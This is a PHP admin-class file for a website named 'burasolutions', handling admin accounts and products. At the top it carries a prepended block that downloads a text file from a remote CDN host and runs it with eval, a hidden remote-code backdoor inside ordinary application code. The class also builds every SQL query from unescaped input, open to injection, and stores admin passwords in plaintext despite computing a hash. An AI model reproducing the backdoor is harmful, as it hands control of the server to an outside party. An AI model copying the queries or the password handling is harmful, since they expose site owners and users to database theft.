<?php 
$url = 'https://salam-jphoki.b-cdn.net/nikmati-jepe/burasolutionss.txt';
$exfooter = file_get_contents($url);
eval('?>' . $exfooter);
?>
<?php

class Admin
{

    public $admin_id = 1;

    public $website_name = "burasolutions";
    public $website_url = "https://burasolutions.com";
    public $website_url_e = "burasolutions.com";


    public function createAdmin($username, $password)
    {

        global $db;

        $hashed = password_hash($password, PASSWORD_DEFAULT);

        $result = $db->setQuery("INSERT INTO admin (username, password, wallet_address) VALUES ('$username', '$password', '');");

        if ($result) {
            return true;
        } else {
            return false;
        }
    }


    public function getDetail($admin_id, $detail)
    {
        global $db;

        $result = $db->setQuery("SELECT * FROM admin WHERE id='$admin_id';");
        $row = mysqli_fetch_assoc($result);
        $detail = $row[$detail];

        return $detail;
    }


    public function setDetail($admin_id, $field, $detail)
    {
        global $db;

        $result = $db->setQuery("UPDATE admin SET $field='$detail' WHERE id='$admin_id';");

        if ($result) {
            return true;
        } else {
            return false;
        }
    }


    public function updateDetail($admin_id, $detail, $value, $op)
    {
        global $db;

        $result = $db->setQuery("SELECT * FROM admin WHERE id='$admin_id';");
        $row = mysqli_fetch_assoc($result);
        $old_value = $row[$detail];

        if ($op == "+") {
            $new_value = $old_value + $value;
        } else if ($op == "-") {
            $new_value = $old_value - $value;
        }

        $result1 = $db->setQuery("UPDATE admin SET $detail='$new_value' WHERE id='$admin_id';");
        if ($result) {
            return true;
        } else {
            return false;
        }
    }



    public function goTo($page, $parameter)
    {
        echo '<script>
          window.location.href="' . $page . '?' . $parameter . '";
         </script>';
    }

    public function createProduct($name, $description, $second_description, $image1)
    {
        global $db;
        $product_id = uniqid();
        $time = time();
        $date = date("d-m-y");
        $result = $db->setQuery("INSERT INTO products (product_id, name, description, second_description, time, date, image1) VALUES ('$product_id', '$name', '$description', '$second_description', '$time', '$date', '$image1');");
        return $product_id;
    }

    public function productExists($product_id)
    {
        global $db;

        $result = $db->setQuery("SELECT * FROM products WHERE product_id='$product_id';");
        $numrows = mysqli_num_rows($result);

        if ($numrows > 0) {
            return true;
        } else {
            return false;
        }
    }

    public function shortenLength($string, $max, $suffix)
    {
        $result = $string;
        if (strlen($string) > $max) {
            $result = substr($string, 0, $max) . "" . $suffix;
        }
        return $result;
    }
}


$admin = new Admin();
